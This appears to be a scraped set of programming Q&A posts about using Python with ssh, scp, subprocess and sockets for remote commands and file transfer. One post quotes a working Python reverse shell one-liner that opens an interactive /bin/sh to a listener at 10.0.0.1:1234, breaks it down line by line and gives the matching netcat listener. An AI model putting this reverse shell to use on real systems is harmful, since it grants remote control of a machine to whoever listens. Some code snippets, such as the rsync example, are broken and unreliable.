How can I read data from a big remote file using subprocess and ssh?
import subprocess
ssh = subprocess.Popen(['ssh', 'user#host', 'cat', 'path/to/file'],
stdout=subprocess.PIPE)
for line in ssh.stdout:
line # do stuff
The answer above will work, but you'll have to setup your ssh login to use no password between your boxes. There are other ways to transfer files between computers using Python. A simple way, without authentication is to setup an apache server and use an http request.
For performance improvement, which is important when the file is big, there is rsync. For more information about the exact improvement see following post and the answer from Rafa:
How does `scp` differ from `rsync`?
The algorithm would then be the following using rsync
import subprocess
subprocess.Popen(["rsync", host-ip+'/path/to/file'],stdout=subprocess.PIPE)
for line in ssh.stdout:
line # do stuff
Use iter with readline to read each full line:
for i in iter(f.stdout.readline,"")
Related
Consider:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
So this is a Python reverse shell one-liner and can be found easily just by googling it. To better understanding this, let's write it in multi-line:
1# import socket,subprocess,os
2# s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
3# s.connect(("10.0.0.1",1234))
4# os.dup2(s.fileno(),0)
5# os.dup2(s.fileno(),1)
6# os.dup2(s.fileno(),2)
7# p=subprocess.call(["/bin/sh","-i"])
Most parts of this is pretty easy to understand. In the first line, we import necessary modules. In the second line we make a socket object using the IPv4 family and TCP protocol. Line Three is where we connect to our server (attacker machine) and in line 4, 5, and 6, we duplicate the socket file descriptor as 0 (standard input), 1 (standard output), and 2 (standard error) (I can be wrong here). In the end, we start the bin/sh shell in interactive mode.
This is working fine. All we need is just to change the IP address and port to connect, and in the other end (server) we need to listen for an incoming connection and it can be done easily using netcat:
nc -nlvp 1234
I just don't understand after establishing the reverse shell, how this client machine (the machine that we run the Python reverse shell one-liner on it) can send the output of commands that it received from the server. I mean, there aren’t any send() or recv() method.
I tried to write a server myself using Python, but it does not work properly and I can't receive the output of my commands.
(But here's a Python reverse shell that I have been coded, and it works fine: https://github.com/ramixix/Python_Reverse_Shell.git. I’d be happy if you check it out.)
How does it work and how can I write a server for it?
I found a small script that can select data in the explorere to upload it using PyAutoIt. The script looks like this:
autoit.win_active("Open")
sleep(2)
autoit.control_send("Open","Edit1",data_path)
sleep(1.5)
autoit.control_send("Open","Edit1","{ENTER}")
I want to do the same thing, but from my Debian GNU/Linux SSH server. The problem is that PyAutoIt only works for windows. Are there any well documented alternatives out there that I could use to preform the same actions?
You could use native python and scp
import subprocess
# Use subprocess to run 'scp' take FILE and pass it to the ssh host
subprocess.run(["scp", FILE, "USER#SERVER:PATH"])
#e.g. subprocess.run(["scp", "somefile.txt", "john#doe.org:/path/to/somefile.txt"])
Note that you have to generate an ssh key so that scp automatically gets authenticated - that way you will not be asked to provide the password.
Alternatively you could probably do (I have not tested this)
import subprocess
# Use subprocess to run 'scp' take FILE and pass it to the ssh host
subprocess.run(["scp", FILE, "USER:PASSWORD#SERVER:PATH"])
#e.g. subprocess.run(["scp", "somefile.txt", "john:secretpassword#<IPADDRESSorDNSNAME>:/path/to/somefile.txt"])
Say if I wanted to run vim ./foo.txt I want to be able to edit foo.txt with my tcp socket client.
But whenever I try to do this it executes on the server but not on my client.
I do not want to use paramiko or any other ssh-like modules I want to stay using the python socket module.
I am using python 3.
I would suggest opening a command on the server (where the file is) with the subprocess module. This way to can keep putting information into it. You can have the client send a message which tells the server to send x to the subprocess.
An example would be like this:
import subprocess
# Assuming the variable x is that the socket is sending the server...
editing_foo = subprocess.Popen(['vim', './foo.txt'], stdin=PIPE) # stdin must be PIPE to communicate
editing_foo.communicate(input=x) # input is a string which is sent to the subprocess
# x could have been 'i' or ':q!' for example
I'm trying to set up a simple client to server interface for calling functions/programs on the server. A client will send a simple command to the server listening for such commands. Once the server receives a command from the client it will execute the following function or program on the server. I have looked into a simple TCP server receiving a text string and parsing that string then executing the a function or external program. I have read into using XML-RPC implemented with a twisted server as well.
What I'm asking is which would be the easiest to set up or are there any other ways to easily do this task?
Thanks.
There is a great tutorial for twisted that will do just fine as a teaching tool (and guide you by hand in writing a basic server/client services). Have a go at it http://twistedmatrix.com/documents/current/core/howto/tutorial/ what you will probably want to do is parse received info and act accordingly.
If it is appliable in your case, maybe you can use full-featured system for async/remote job execution like Celery?
There are more than one way to achieve your requirement ach with some pros and cons:
Python Low Level Sockets
Using Standard python socket libraries and cliet server architecture
Connecting to Server via protocols like Telnet/SSh and then triggering some code.
Using Python libraries like Telnet/ssh or Subprocess.
XML-RPC
Sending a XMP RPC request as described here http://docs.python.org/2/library/xmlrpclib.html
In my opinion easiest method to achieve remote method triggering is via Python Subprocess Module. I generally use following kind of syntax for my general purposes.
import subprocess
ret = subprocess.call(["ssh", "user#host", "program"]);
# or, with stderr:
prog = subprocess.Popen(["ssh", "user#host", "program"], stderr=subprocess.PIPE)
errdata = prog.communicate()[1]
Hope it helps
I need a method of paramiko based file transfer with a lightweight SSH2 server (dropbear) which has no support for SCP or SFTP. Is there a way of achieving a cat and redirect style file transfer, such as:
ssh server "cat remote_file" > local_file
with paramiko channels?
Can paramiko.Transport.open_channel() or Message() do the job? I am unsure of how to proceed.
If the limitation, as you say, is only in your client, you can easily implement a SFTP client directly with paramiko -- e.g., look at this example code.
pyfilesystem implements an sftp filesystem on top of paramiko.